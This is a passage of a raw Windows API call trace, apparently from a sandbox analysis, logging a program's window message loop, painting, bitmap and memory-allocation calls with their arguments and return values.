returned 0 [0264.504] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.504] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0264.504] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f968 | out: lpdwProcessId=0x18f968) returned 0x8cc [0264.504] GetCurrentProcessId () returned 0x8d0 [0264.504] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.504] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbd8) returned 0x0 [0264.504] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.504] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.504] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.504] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.504] SendMessageA (hWnd=0x10356, Msg=0xbd38, wParam=0x2a010b57, lParam=0x10356) returned 0xe100186 [0264.504] GetSysColor (nIndex=8) returned 0x0 [0264.504] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0264.504] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.504] SetBkColor (hdc=0x2a010b57, color=0xf0f0f0) returned 0xffffff [0264.504] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0264.505] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0xd, wParam=0x1f, lParam=0x18e9b4) returned 0x1e [0264.508] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0264.508] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0xd, wParam=0x1f, lParam=0x18e8e4) returned 0x1e [0264.508] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0xd, wParam=0x3e, lParam=0x18e8b8) returned 0x1e [0264.512] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.512] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.512] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.512] BeginPaint (in: hWnd=0xb0168, lpPaint=0x18fc78 | out: lpPaint=0x18fc78) returned 0x1f01019b [0264.512] SaveDC (hdc=0x1f01019b) returned 1 [0264.512] MoveToEx (in: hdc=0x1f01019b, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0264.512] GetCurrentPositionEx (in: hdc=0x1f01019b, lppt=0x18fc3c | out: lppt=0x18fc3c) returned 1 [0264.512] RestoreDC (hdc=0x1f01019b, nSavedDC=1) returned 1 [0264.512] RectVisible (hdc=0x1f01019b, lprect=0x18fc3c) returned 1 [0264.512] SaveDC (hdc=0x1f01019b) returned 1 [0264.512] GetWindowOrgEx (in: hdc=0x1f01019b, lppoint=0x18fc10 | out: lppoint=0x18fc10) returned 1 [0264.512] SetWindowOrgEx (in: hdc=0x1f01019b, x=0, y=-58, lppt=0x0 | out: lppt=0x0) returned 1 [0264.512] IntersectClipRect (hdc=0x1f01019b, left=0, top=0, right=499, bottom=3) returned 3 [0264.512] MoveToEx (in: hdc=0x1f01019b, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0264.512] MoveToEx (in: hdc=0x1f01019b, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0264.512] GetSysColor (nIndex=16) returned 0xa0a0a0 [0264.512] CreatePenIndirect (plpen=0x18fb5c) returned 0x15300192 [0264.512] SelectObject (hdc=0x1f01019b, h=0x15300192) returned 0x1b00017 [0264.513] SetROP2 (hdc=0x1f01019b, rop2=13) returned 13 [0264.513] LineTo (hdc=0x1f01019b, x=499, y=0) returned 1 [0264.513] SelectObject (hdc=0x1f01019b, h=0x1b00017) returned 0x15300192 [0264.513] DeleteObject (ho=0x15300192) returned 1 [0264.513] MoveToEx (in: hdc=0x1f01019b, x=0, y=1, lppt=0x0 | out: lppt=0x0) returned 1 [0264.513] SelectObject (hdc=0x1f01019b, h=0x11300168) returned 0x1b00017 [0264.513] SetROP2 (hdc=0x1f01019b, rop2=13) returned 13 [0264.513] LineTo (hdc=0x1f01019b, x=499, y=1) returned 1 [0264.513] SelectObject (hdc=0x1f01019b, h=0x1b00017) returned 0x11300168 [0264.513] SelectObject (hdc=0x1f01019b, h=0x1900015) returned 0x1900010 [0264.513] SelectObject (hdc=0x1f01019b, h=0x18a002e) returned 0x18a002e [0264.513] GetCurrentPositionEx (in: hdc=0x1f01019b, lppt=0x18fbd8 | out: lppt=0x18fbd8) returned 1 [0264.513] RestoreDC (hdc=0x1f01019b, nSavedDC=1) returned 1 [0264.513] EndPaint (hWnd=0xb0168, lpPaint=0x18fc78) returned 1 [0264.513] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.513] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.513] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.513] BeginPaint (in: hWnd=0x10350, lpPaint=0x18fc78 | out: lpPaint=0x18fc78) returned 0x1b0106ca [0264.513] SaveDC (hdc=0x1b0106ca) returned 1 [0264.514] ExcludeClipRect (hdc=0x1b0106ca, left=440, top=0, right=495, bottom=58) returned 3 [0264.514] MoveToEx (in: hdc=0x1b0106ca, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0264.514] GetClientRect (in: hWnd=0x10350, lpRect=0x18fc28 | out: lpRect=0x18fc28) returned 1 [0264.514] UnrealizeObject (h=0x2f100178) returned 1 [0264.514] SelectObject (hdc=0x1b0106ca, h=0x2f100178) returned 0x1900010 [0264.514] GetSysColor (nIndex=5) returned 0xffffff [0264.514] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0264.514] SetBkMode (hdc=0x1b0106ca, mode=2) returned 2 [0264.514] FillRect (hDC=0x1b0106ca, lprc=0x18fc28, hbr=0x2f100178) returned 1 [0264.514] SelectObject (hdc=0x1b0106ca, h=0x1900015) returned 0x2f100178 [0264.514] SelectObject (hdc=0x1b0106ca, h=0x290a06a6) returned 0x18a002e [0264.514] GetSysColor (nIndex=8) returned 0x0 [0264.514] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0264.514] GetTextExtentPointA (in: hdc=0x1b0106ca, lpString="W", c=1, lpsz=0x18fbf8 | out: lpsz=0x18fbf8) returned 1 [0264.514] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0264.514] SelectObject (hdc=0x1b0106ca, h=0x3c3001b3) returned 0x1b00017 [0264.514] SetROP2 (hdc=0x1b0106ca, rop2=13) returned 13 [0264.514] CreateBrushIndirect (plbrush=0x18fbc4) returned 0x1900015 [0264.518] UnrealizeObject (h=0x1900015) returned 1 [0264.518] SelectObject (hdc=0x1b0106ca, h=0x1900015) returned 0x1900015 [0264.518] SetBkColor (hdc=0x1b0106ca, color=0xff000000) returned 0xffffff [0264.518] SetBkMode (hdc=0x1b0106ca, mode=1) returned 2 [0264.518] DrawTextA (in: hdc=0x1b0106ca, lpchText="", cchText=-1, lprc=0x18fc28, format=0x45 | out: lpchText="", lprc=0x18fc28) returned 1 [0264.518] SelectObject (hdc=0x1b0106ca, h=0x1b00017) returned 0x3c3001b3 [0264.518] SelectObject (hdc=0x1b0106ca, h=0x1900015) returned 0x1900015 [0264.518] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x290a06a6 [0264.518] GetCurrentPositionEx (in: hdc=0x1b0106ca, lppt=0x18fc3c | out: lppt=0x18fc3c) returned 1 [0264.518] RestoreDC (hdc=0x1b0106ca, nSavedDC=1) returned 1 [0264.518] RectVisible (hdc=0x1b0106ca, lprect=0x18fc3c) returned 1 [0264.518] SaveDC (hdc=0x1b0106ca) returned 1 [0264.518] GetWindowOrgEx (in: hdc=0x1b0106ca, lppoint=0x18fc10 | out: lppoint=0x18fc10) returned 1 [0264.518] SetWindowOrgEx (in: hdc=0x1b0106ca, x=-440, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0264.518] IntersectClipRect (hdc=0x1b0106ca, left=0, top=0, right=55, bottom=58) returned 3 [0264.519] MoveToEx (in: hdc=0x1b0106ca, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0264.519] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0264.519] GetSysColor (nIndex=8) returned 0x0 [0264.519] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0264.519] SelectObject (hdc=0x1b0106ca, h=0x3c3001b3) returned 0x1b00017 [0264.519] SetROP2 (hdc=0x1b0106ca, rop2=13) returned 13 [0264.519] UnrealizeObject (h=0x1410017b) returned 1 [0264.519] SelectObject (hdc=0x1b0106ca, h=0x1410017b) returned 0x1900010 [0264.519] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0264.519] SetBkMode (hdc=0x1b0106ca, mode=2) returned 2 [0264.519] GetDeviceCaps (hdc=0x1b0106ca, index=12) returned 32 [0264.519] VirtualAlloc (lpAddress=0x2c90000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c90000 [0264.519] VirtualAlloc (lpAddress=0x2c98000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c98000 [0264.520] VirtualFree (lpAddress=0x2c94000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0264.528] VirtualAlloc (lpAddress=0x2ca4000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x2ca4000 [0264.531] GetFocus () returned 0x20322 [0264.531] GetDC (hWnd=0x20322) returned 0x2a010b57 [0264.531] CreateDIBitmap (hdc=0x2a010b57, pbmih=0x2c87584, flInit=0x4, pjBits=0x2ca28c8, pbmi=0x2c87584, iUsage=0x0) returned 0x19050192 [0264.532] ReleaseDC (hWnd=0x20322, hDC=0x2a010b57) returned 1 [0264.532] VirtualFree (lpAddress=0x2ca4000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0264.533] GetDC (hWnd=0x0) returned 0x1f01019b [0264.533] CreateCompatibleDC (hdc=0x1f01019b) returned 0x1901019f [0264.533] CreateCompatibleBitmap (hdc=0x1f01019b, cx=120, cy=120) returned 0x7050b68 [0264.534] SelectObject (hdc=0x1901019f, h=0x7050b68) returned 0x185000f [0264.534] PatBlt (hdc=0x1901019f, x=0, y=0, w=120, h=120, rop=0xff0062) returned 1 [0264.534] CreateCompatibleDC (hdc=0x1f01019b) returned 0x3010b87 [0264.534] SelectObject (hdc=0x3010b87, h=0x19050192) returned 0x185000f [0264.534] BitBlt (hdc=0x1901019f, x=0, y=0, cx=120, cy=120, hdcSrc=0x3010b87, x1=0, y1=0, rop=0xcc0020) returned 1 [0264.534] SelectObject (hdc=0x3010b87, h=0x185000f) returned 0x19050192 [0264.534] DeleteDC (hdc=0x3010b87) returned 1 [0264.534] DeleteDC (hdc=0x1901019f) returned 1 [0264.534] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0264.534] GetDIBits (in: hdc=0x1b0106ca, hbm=0x7050b68, start=0x0, cLines=0x78, lpvBits=0x2c98004, lpbmi=0x18fb24, usage=0x0 | out: lpvBits=0x2c98004, lpbmi=0x18fb24) returned 120 [0264.536] VirtualFree (lpAddress=0x2c98000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0264.536] CreateDIBSection (in: hdc=0x1b0106ca, lpbmi=0x18fb24, usage=0x0, ppvBits=0x18fb5c, hSection=0x0, offset=0x0 | out: ppvBits=0x18fb5c) returned 0x5050b87 [0264.537] GetObjectA (in: h=0x5050b87, c=24, pv=0x18fadc | out: pv=0x18fadc) returned 24 [0264.537] VirtualFree (lpAddress=0x2c90000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0264.537] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0264.537] GetSysColor (nIndex=8) returned 0x0 [0264.537] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0264.537] SetStretchBltMode (hdc=0x1b0106ca, mode=3) returned 1 [0264.537] GetDeviceCaps (hdc=0x1b0106ca, index=38) returned 32409 [0264.537] CreateCompatibleDC (hdc=0x0) returned 0xd0107ab [0264.537] SelectObject (hdc=0xd0107ab, h=0x5050b87) returned 0x185000f [0264.537] MoveToEx (in: hdc=0xd0107ab, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0264.537] SelectObject (hdc=0xd0107ab, h=0x640a01f1) returned 0x18a002e [0264.537] GetSysColor (nIndex=8) returned 0x0 [0264.537] SetTextColor (hdc=0xd0107ab, color=0x0) returned 0x0 [0264.537] SelectObject (hdc=0xd0107ab, h=0x3c3001b3) returned 0x1b00017 [0264.537] SetROP2 (hdc=0xd0107ab, rop2=13) returned 13 [0264.537] UnrealizeObject (h=0x1410017b) returned 1 [0264.537] SelectObject (hdc=0xd0107ab, h=0x1410017b) returned 0x1900010 [0264.537] SetBkColor (hdc=0xd0107ab, color=0xffffff) returned 0xffffff [0264.538] SetBkMode (hdc=0xd0107ab, mode=2) returned 2 [0264.538] StretchBlt (hdcDest=0x1b0106ca, xDest=0, yDest=0, wDest=55, hDest=58, hdcSrc=0xd0107ab, xSrc=0, ySrc=0, wSrc=55, hSrc=58, rop=0xcc0020) returned 1 [0264.538] SelectObject (hdc=0x1b0106ca, h=0x1b00017) returned 0x3c3001b3 [0264.538] SelectObject (hdc=0x1b0106ca, h=0x1900015) returned 0x1410017b [0264.538] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0264.538] GetCurrentPositionEx (in: hdc=0x1b0106ca, lppt=0x18fbd8 | out: lppt=0x18fbd8) returned 1 [0264.538] RestoreDC (hdc=0x1b0106ca, nSavedDC=1) returned 1 [0264.538] EndPaint (hWnd=0x10350, lpPaint=0x18fc78) returned 1 [0264.538] SelectObject (hdc=0xd0107ab, h=0x185000f) returned 0x5050b87 [0264.538] SelectObject (hdc=0xd0107ab, h=0x1b00017) returned 0x3c3001b3 [0264.538] SelectObject (hdc=0xd0107ab, h=0x1900015) returned 0x1410017b [0264.538] SelectObject (hdc=0xd0107ab, h=0x18a002e) returned 0x640a01f1 [0264.538] GetCurrentPositionEx (in: hdc=0xd0107ab, lppt=0x18fce4 | out: lppt=0x18fce4) returned 1 [0264.538] DeleteDC (hdc=0xd0107ab) returned 1 [0264.538] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.538] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.538] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.538] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.538] SendMessageA (hWnd=0x10354, Msg=0xbd38, wParam=0x1b0106ca, lParam=0x10354) returned 0x2f100178 [0264.539] GetSysColor (nIndex=8) returned 0x0 [0264.539] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0264.539] GetSysColor (nIndex=5) returned 0xffffff [0264.539] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0264.539] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0264.539] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x12, lParam=0x18e9b4) returned 0x11 [0264.539] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0264.539] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x12, lParam=0x18e8e4) returned 0x11 [0264.539] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x24, lParam=0x18e8b8) returned 0x11 [0264.540] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.540] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.540] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.540] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.540] SendMessageA (hWnd=0x10352, Msg=0xbd38, wParam=0x2a010b57, lParam=0x10352) returned 0x2f100178 [0264.540] GetSysColor (nIndex=8) returned 0x0 [0264.540] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0264.540] GetSysColor (nIndex=5) returned 0xffffff [0264.540] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0264.540] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x42 [0264.540] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x43, lParam=0x18e9b4) returned 0x42 [0264.541] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x42 [0264.541] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x43, lParam=0x18e8e4) returned 0x42 [0264.541] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x86, lParam=0x18e8b8) returned 0x42 [0264.542] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.542] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.542] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.542] BeginPaint (in: hWnd=0x40338, lpPaint=0x18fc70 | out: lpPaint=0x18fc70) returned 0x1f01019b [0264.542] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0xf, wParam=0x1f01019b, lParam=0x0) returned 0x0 [0264.542] EndPaint (hWnd=0x40338, lpPaint=0x18fc70) returned 1 [0264.542] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.542] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.542] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.542] BeginPaint (in: hWnd=0x20320, lpPaint=0x18fc78 | out: lpPaint=0x18fc78) returned 0x2a010b57 [0264.543] MoveToEx (in: hdc=0x2a010b57, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0264.543] GetCurrentPositionEx (in: hdc=0x2a010b57, lppt=0x18fc3c | out: lppt=0x18fc3c) returned 1 [0264.543] EndPaint (hWnd=0x20320, lpPaint=0x18fc78) returned 1 [0264.543] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.543] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.543] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.543] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.543] SendMessageA (hWnd=0x1034e, Msg=0xbd38, wParam=0x1f01019b, lParam=0x1034e) returned 0xe100186 [0264.543] GetSysColor (nIndex=8) returned 0x0 [0264.543] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0264.543] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.543] SetBkColor (hdc=0x1f01019b, color=0xf0f0f0) returned 0xffffff [0264.543] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x81 [0264.543] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0xd, wParam=0x82, lParam=0x18e9b4) returned 0x81 [0264.543] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x81 [0264.544] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0xd, wParam=0x82, lParam=0x18e8e4) returned 0x81 [0264.544] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0xd, wParam=0x104, lParam=0x18e8b8) returned 0x81 [0264.546] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.546] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.546] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.546] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.546] GetWindowThreadProcessId (in: hWnd=0x20322, lpdwProcessId=0x18e8c4 | out: lpdwProcessId=0x18e8c4) returned 0x8cc [0264.546] GetCurrentProcessId () returned 0x8d0 [0264.546] GetPropA (hWnd=0x20322, lpString=0xc167) returned 0x2c878a0 [0264.553] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.553] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.553] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.553] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.553] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0264.554] FillRect (hDC=0x1d0107ab, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0264.554] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x1d0107ab, lParam=0x4) returned 0x0 [0264.554] SendMessageA (hWnd=0x1034c, Msg=0xbd38, wParam=0x1d0107ab, lParam=0x1034c) returned 0xe100186 [0264.554] GetSysColor (nIndex=8) returned 0x0 [0264.554] SetTextColor (hdc=0x1d0107ab, color=0x0) returned 0x0 [0264.554] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.554] SetBkColor (hdc=0x1d0107ab, color=0xf0f0f0) returned 0xffffff [0264.554] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0264.554] GetCurrentProcessId () returned 0x8d0 [0264.554] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0264.554] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0264.555] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0264.555] GetCurrentProcessId () returned 0x8d0 [0264.555] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0264.555] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0264.555] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0264.555] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x18, lParam=0x18e7f8) returned 0x17 [0264.556] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x30, lParam=0x18e7d0) returned 0x17 [0264.556] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.556] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.556] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.556] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.557] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0264.557] FillRect (hDC=0x1e0107ab, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0264.557] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x1e0107ab, lParam=0x4) returned 0x0 [0264.557] SendMessageA (hWnd=0x1034a, Msg=0xbd38, wParam=0x1e0107ab, lParam=0x1034a) returned 0xe100186 [0264.557] GetSysColor (nIndex=8) returned 0x0 [0264.557] SetTextColor (hdc=0x1e0107ab, color=0x0) returned 0x0 [0264.557] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.557] SetBkColor (hdc=0x1e0107ab, color=0xf0f0f0) returned 0xffffff [0264.557] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0264.557] GetCurrentProcessId () returned 0x8d0 [0264.557] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0264.557] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0264.557] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0264.557] GetCurrentProcessId () returned 0x8d0 [0264.558] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0264.558] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0264.558] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0264.558] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x1f, lParam=0x18e7f8) returned 0x1e [0264.558] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x3e, lParam=0x18e7d0) returned 0x1e [0264.558] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.558] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.558] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.559] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.559] IsIconic (hWnd=0xc0060) returned 0 [0264.559] IsIconic (hWnd=0xc0060) returned 0 [0264.559] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0264.559] FillRect (hDC=0x4b010b55, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0264.559] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x4b010b55, lParam=0x4) returned 0x0 [0264.559] SendMessageA (hWnd=0x10358, Msg=0xbd35, wParam=0x4b010b55, lParam=0x10358) returned 0xe100186 [0264.559] GetSysColor (nIndex=8) returned 0x0 [0264.559] SetTextColor (hdc=0x4b010b55, color=0x0) returned 0x0 [0264.559] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.559] SetBkColor (hdc=0x4b010b55, color=0xf0f0f0) returned 0xffffff [0264.559] GetWindowThreadProcessId (in: hWnd=0x10358, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.559] GetCurrentProcessId () returned 0x8d0 [0264.559] GetPropA (hWnd=0x10358, lpString=0xc167) returned 0x2c86da4 [0264.560] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xbc4e, wParam=0x10358, lParam=0x18f8b8) returned 0x0 [0264.560] GetWindowThreadProcessId (in: hWnd=0x10358, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.560] GetCurrentProcessId () returned 0x8d0 [0264.560] GetPropA (hWnd=0x10358, lpString=0xc167) returned 0x2c86da4 [0264.560] CallWindowProcA 